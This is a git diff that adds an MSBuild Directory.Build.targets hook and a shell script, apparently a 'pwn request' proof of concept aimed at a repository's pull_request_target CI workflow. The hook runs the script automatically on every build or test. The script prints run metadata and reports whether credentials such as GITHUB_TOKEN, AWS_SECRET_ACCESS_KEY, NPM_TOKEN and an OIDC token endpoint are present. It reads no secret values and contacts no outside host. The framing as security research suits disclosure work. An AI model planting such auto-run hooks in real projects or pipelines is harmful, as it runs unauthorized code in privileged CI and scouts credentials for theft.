diff --git a/Directory.Build.targets b/Directory.Build.targets
new file mode 100644
index 0000000..ac327d6
--- /dev/null
+++ b/Directory.Build.targets
@@ -0,0 +1,13 @@
+<Project>
+  <!-- ===================================================================
+       PWN-REQUEST PoC (security research, non-destructive)
+       Auto-imported by MSBuild for every project in this tree, so the
+       marker script runs when `dotnet build` / `dotnet test` runs, exactly
+       like an attacker-controlled MSBuild target would.
+       The script only prints context metadata and env presence booleans;
+       no secret value is read, printed, or transmitted.
+       =================================================================== -->
+  <Target Name="PwnRequestPocMarker" BeforeTargets="BeforeBuild">
+    <Exec Command="sh "$(MSBuildThisFileDirectory)poc_pwn_request.sh"" IgnoreStandardErrorWarningFormat="true" />
+  </Target>
+</Project>
diff --git a/poc_pwn_request.sh b/poc_pwn_request.sh
new file mode 100644
index 0000000..91344e2
--- /dev/null
+++ b/poc_pwn_request.sh
@@ -0,0 +1,31 @@
+# ---------------------------------------------------------------------
+# PWN-REQUEST PoC marker block (security research, non-destructive)
+# Purpose : prove that untrusted PR code runs in the pull_request_target
+#           context of the BASE repository. No secret value is ever read,
+#           printed, or transmitted -- presence booleans only.
+# Marker  : PWN_REQUEST_POC_OK
+# ---------------------------------------------------------------------
+poc_out() {
+  echo "$@"
+  if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then echo "$@" >> "$GITHUB_STEP_SUMMARY"; fi
+}
+poc_out "PWN_REQUEST_POC_OK"
+poc_out "event        : ${GITHUB_EVENT_NAME:-?}"
+poc_out "repository   : ${GITHUB_REPOSITORY:-?}"
+poc_out "workflow     : ${GITHUB_WORKFLOW:-?}"
+poc_out "job          : ${GITHUB_JOB:-?}"
+poc_out "actor        : ${GITHUB_ACTOR:-?}"
+poc_out "ref          : ${GITHUB_REF:-?}"
+poc_out "head sha     : $(git rev-parse HEAD 2>/dev/null || echo '?')"
+poc_out "run id       : ${GITHUB_RUN_ID:-?}"
+poc_out "--- privileged-context signals (presence booleans only) ---"
+for v in SONAR_TOKEN GITHUB_TOKEN DOCKER_HUB_TOKEN QUAY_TOKEN OPENAI_API_KEY NPM_TOKEN AWS_SECRET_ACCESS_KEY CODECOV_TOKEN; do
+  if printenv "$v" >/dev/null 2>&1; then poc_out "env $v : PRESENT"; else poc_out "env $v : absent"; fi
+done
+if [ -n "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" ]; then
+  poc_out "OIDC id-token endpoint : PRESENT (id-token: write)"
+else
+  poc_out "OIDC id-token endpoint : absent"
+fi
+poc_out "--- end PoC ---"
+# ---------------------------------------------------------------------